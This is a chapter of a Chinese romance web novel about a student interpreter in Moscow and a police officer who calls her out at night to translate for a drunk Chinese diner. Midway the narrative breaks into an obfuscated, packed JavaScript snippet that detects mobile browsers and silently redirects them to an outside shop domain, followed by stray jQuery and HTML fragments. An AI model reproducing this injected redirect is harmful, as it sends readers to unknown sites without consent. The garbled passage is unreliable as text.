大约是惊魂记也有戒断反应，直到四五天后柳漪才从那一夜的奇遇中缓过神来，生活又是流水一般地过，像胶片电影放映结束后漫长的空白，只留下放映机旋转的“咔咔”声，让人心里空落落的。
人与人之间的联系确实需要运气，她并没有接到邀请她去做警察翻译的电话，而厚重的大门开合间，询问宿管斯维塔女士有没有警察来转交过护照，却渐渐成为她每日傍晚回宿舍的一个微不足道的习惯。
忙碌的伊利亚·弗拉基米罗维奇·维特罗夫警官依旧忙碌在自己的工作岗位上，他在那天夜班即将结束的凌晨特地去阿尚外巡逻，问过负责清扫环卫工人，是否发现一本中国护照，之后的几天也不止一次问过工人和同事，但得到的答案都是否定的。
夜晚执勤的某个间隙，放松疲惫的神经，看着通讯录上那个他特地从电脑笔录里调出来的电话，上面只有一个奇怪的单词作为姓名，“рябь（涟漪）”，手指无意识从上面划过，却最终还是熄灭了屏幕，握着手机抵在唇边，出神地注视玻璃窗上他自己的倒影，在想些什么，又什么都不想。他开始隐约期许见到中国人的案子，尽管他并不希望中国人遇到麻烦。
命运冲刷过生活的沙滩，还是在他们身上留下了细微的痕迹。而柳枝拂过的水面的涟漪，也终会一圈圈把水波扩散到未来的某一天。
“同事，怎么办？”蒙库什搜过醉汉的身，拍拍他的胸口，叉腰朝伊利亚一摊手，打量手上的中国身份证，“什么都没有！没有护照，就这一张小卡片，这是什么？中国的证件？”
这家名为“ручей（溪流）”的古典主义风格餐厅，一般是不会营业到午夜后的。白发苍苍、身着衬衫和领结的老板锁好门，面对隔间彩窗玻璃碎了一地流光溢彩的狼藉，对前来办案的两位警官开口问道：“小伙子们，想到办法了吗？”
“这家伙不会是非法移民吧？”蒙库什弯腰上下打量，“半夜给我来业绩？”
地上酩酊大醉的亚洲男人嘴里嘟嘟囔囔依旧在说些他们听不懂的话，前来陪同他洽谈生意的俄罗斯人早已脚底抹油溜之大吉，蒙库什还防备着这个醉汉暴起闹事，“伊利亚，你不是去过中国吗？你确定他是中国人，不是什么韩国人、日本人、越南人？你不能和他谈谈？就……‘你好’‘谢谢’之类的。”
“我能确定他是中国人。”伊利亚脸上写着“认真的吗”瞥了一眼蒙库什，戴上帽子，“看住他，我来想办法。”
伊利亚从后门出去上了警车，看了看手机上的凌晨1：40分，又调出那个不知看了多少次的名为“涟漪”的号码，心里想的却是，这真不是很好的时机。
耳边熟悉的铃声响起，闭着眼想再睡五分钟，一个顺手就滑过去，误打误撞接了起来。半梦半醒间，柳漪缓了三秒才意识到这不是早起的闹铃。
“喂……谁……”
“您好，请问是柳女士吗？”
手接起电话，脑子没有，柳漪的大脑一时处理不了这么高阶的俄语，眼皮一闭断断续续又陷入了睡梦。片刻之后，一声格外熟悉的“柳女士”从记忆深处炸响，她一个鲤鱼打挺坐起身，抓过手机贴上去追问，“А、Алло？（喂）”
说着看了眼屏幕上亮起的通话中，心里总算松了口气，那头传来依旧在接听的伊利亚警官轻柔又低沉的声音，“打扰您的好梦了，柳女士，我是伊利亚·维特罗夫上尉，希望您还记得。”
“哦，当然，当然，我还记得您。请问您有什么事吗？”
柳漪还当是偷自己手提包的小贼被抓住了，要她去指认或是做进一步的笔录，就听伊利亚继续道：“是这样的，如果您还记得我们的约定，我需要您帮我做中文翻译。”
柳漪当即睡意全无，想起他们那晚分别时的话，抚着脸颊自己都没察觉她弯起的嘴角，“当然，您什么时候需要？”
“事实上……我现在就在赶往您宿舍楼的路上，大约还有十五分钟就到。”
“我需要您的帮助。”
柳漪听了这一句，其他什么便都不重要了，爽快应承下来，“好，我们楼下见。”
挂掉电话，柳漪长舒了一口气，爬去扭开台灯，亮起的一瞬间，就对上隔壁床程斯妤坏笑的眼睛，吓了她一跳，斯妤挑挑眉，戏谑：“看来这是再续前缘了啊……”
“抱歉把你吵醒了，你接着睡吧。”柳漪片刻也不耽搁，连忙起来穿衣洗漱，一头波浪卷长发睡得乱糟糟的，索性三下五除二编成发辫，“我去一趟就回来。”
“真的？我陪你去吧，这么晚了不安全。”
程斯妤也要起身，却被柳漪按下，“不了，不要了！你明天还有早课，我的课在下午，你还是快睡吧！”
柳漪咬着发圈，倚在门边，手里编着辫子，不知道是不是错觉，程斯妤从她脸上没看出一星半点被搅了好梦的疲惫，反而整个人都发亮，连神情都格外生动起来，看她抿着嘴俏语笑道：“他的名字和单位你也知道，要是我明早没回来，你直接报警再找大使馆吧。”
“你确定？”柳漪向来不是程斯妤的对手，程斯妤欠欠地歪躺着，语气轻飘飘，“我报了警，要是回头在他家或者哪个酒店逮到你俩，你俩不直接上新闻了？”
“啊！啊！”柳漪臊得不行，扑过去扯起被子就把她盖了严实，用扬州话笑骂，“快挺你的尸吧！”
柳漪手忙脚乱收拾好，估摸着也来不及化妆了只好紧赶慢赶涂了点浅色唇膏，匆匆出了门：“我走了，快睡！”
穿过昏暗的大厅，门口还亮着灯，推开门，冷风里，两个下楼抽烟的学生正和她打了个照面，柳漪转头就看见那辆警车，伊利亚修长的身体倚在车门上，像是冷峻沉郁的钢笔素描，在雪地里投下一道长长的黑影。
“久等了，维特罗夫上尉。”柳漪小跑过去，两只手一拍身体两侧，轻松和他开了个玩笑，“很遗憾，今天没有登山包需要您背。”
伊利亚又一次打量眼前这个聪明、会说俏皮话的中国女孩，她的脸上总是绽放明媚的笑容，仿佛从没有什么烦恼能从她心上掠过。今夜的她依旧是一身雪白，白色的帽子，白色的羽绒服，素着一张脸儿，许是仓促来不及打理，长发变成蓬松的发辫垂在肩头，发脚参差不齐，几缕碎发在耳边的风中飘摇，乍一看竟像是俄罗斯童话里和严寒老人一起出现的雪姑娘。若要这么说，未免太冷了些，人更像是五月溪水边的一朵铃兰花，白色的花瓣上有一点晕开的粉色，小巧的白皙面庞微微低垂，只有微风能让她在轻摇中抬起头来，轻轻颤动一点可爱的风致，说不出的雅丽。
伊利亚给她开了车门，待她上车后自己也坐去驾驶座，刚发动了车子，柳漪在手机上翻找出什么，送去给他细看。
“这是什么？”手机屏幕的光照亮他眼眸中的琉璃海。
“我的俄语等级考试证书啊，没带在身上，只能给您看电子版了。”柳漪歪着头，“我还算是专业的。”
伊利亚把着方向盘，点头，“当然，我相信您很专业。”
说着从后座拎出一个纸袋，取出一杯热气腾腾的咖啡递到柳漪手里，“这是我半夜吵醒您的赔罪，柳女士。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17767730|209786||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
柳漪的神情却微微变了，伊利亚敏锐捕捉到，可并不明白一杯咖啡会有什么不对，柳漪用另一句话转移了她的注意力，“这不公平。”
警车重又行驶进莫斯利深夜稀稀疏疏的车流里，许是高纬度澄澈的空气带来的清透，这里的车流灯光冷冽而清澈，他们的车像一颗星星重又运行至银河中。
“不公平，需要我来裁决吗？”伊利亚瞥了她一眼。
“自然需要您来评判一下道理。”柳漪露出自得的浅笑，嘴角一点梨涡若隐若现，“您让我叫您伊利亚，可还是叫我柳女士，这是不是太不公平了？”
“那我该叫您什么？”
伊利亚在思考中国人的姓名构成，柳漪先他一步想到了和伊利亚这个叫法对应的不就是……
“漪（И）？”
伊利亚低低唤她的名字，柳漪心头一跳，当即低头闭嘴，好吧，她承认，对于中国人来说，这确实有点超过了，俄国人对于单独叫名字的亲昵程度并不如中国人那样敏感，而当事人似乎感知不到。
然而柳漪也似乎忘记了，伊利亚·维特罗夫警官并不是没有去过中国，并不是不了解中国人的习惯，于他而言，这更应该说是一种小心翼翼越界的试探。
柳漪决定折中一下，朗声大笑打断尴尬的沉默，“这听上去太奇怪了！不，还是不要那样叫，您为什么不叫我的俄语名字呢？大家会叫我卡佳、喀秋莎，都可以。”
“我想，称呼您的中文名字，对您是一种尊重。”熊收回了试探的熊爪，“既然您这样说，感谢您的帮助，卡佳。”
伊利亚看她一直端着咖啡，“喝一些暖和身子吧。”
柳漪犹豫不决，虽说……但确实半夜出来熬不住，刚下楼还有兴奋劲儿打了鸡血，这会儿坐在车上，困意上来，脑子也不清醒了，想起接下来还有工作要做，不如就喝一点点提提神，应该不碍事。
“也不要称呼您（вы）了，您说呢？”
“好，就听你（ты）的。”
不多时，警车停靠在“溪流”餐厅的后门。伊利亚替她打开门，二人一左一右探头看向里间，伊利亚指向窝在沙发里一个垂着脑袋的中年男子，“就是他。我们接到老板的电话，说有外国人在他这里用餐后拒绝结账，来了就看到他一个人在这里。”
“啊？那不就是吃‘霸王餐’吗？”柳漪也顾不上伊利亚能不能理解这个词，暗自生气，能来莫斯科的人大概率不会差钱，看衣着也不像是打黑工的，何必要丢这个脸呢？
二人并肩往里走，躲过一地的碎玻璃渣，伊利亚一边解释，一边把她护在身后，防止醉汉暴起伤人，“出警到这儿后，发现他醉得很深，一直用中文喊叫，我们听不明白，他也无法沟通。先前在店里和老板、服务员起了冲突，砸坏了餐厅里的东西，我们只能先将他制服。”
“呼，你们终于来了！”蒙库什如见救星，热情招呼柳漪，“中国姑娘，又见面了！”
“他刚才又要闹事，我只能先把他拷上，老板给他用毛巾擦了脸，安稳多了！”蒙库什给餐厅老板介绍，“看，我们也是有外援的！来，小姑娘，展现一下你的实力。”
“小心一点。”伊利亚出声提醒。
柳漪点点头，刚凑过去就被醉汉身上浓烈的酒气差点熏了个跟头，这人垂头打盹，柳漪拍拍他的肩膀，用中文说道：“大哥，大哥，醒醒！听得清吗？”
那人满脸赤红，睁开惺忪的睡眼，呼哧呼哧哼了两声，冒出了一句让柳漪哭笑不得的话来。
“嗯……到、到家了？”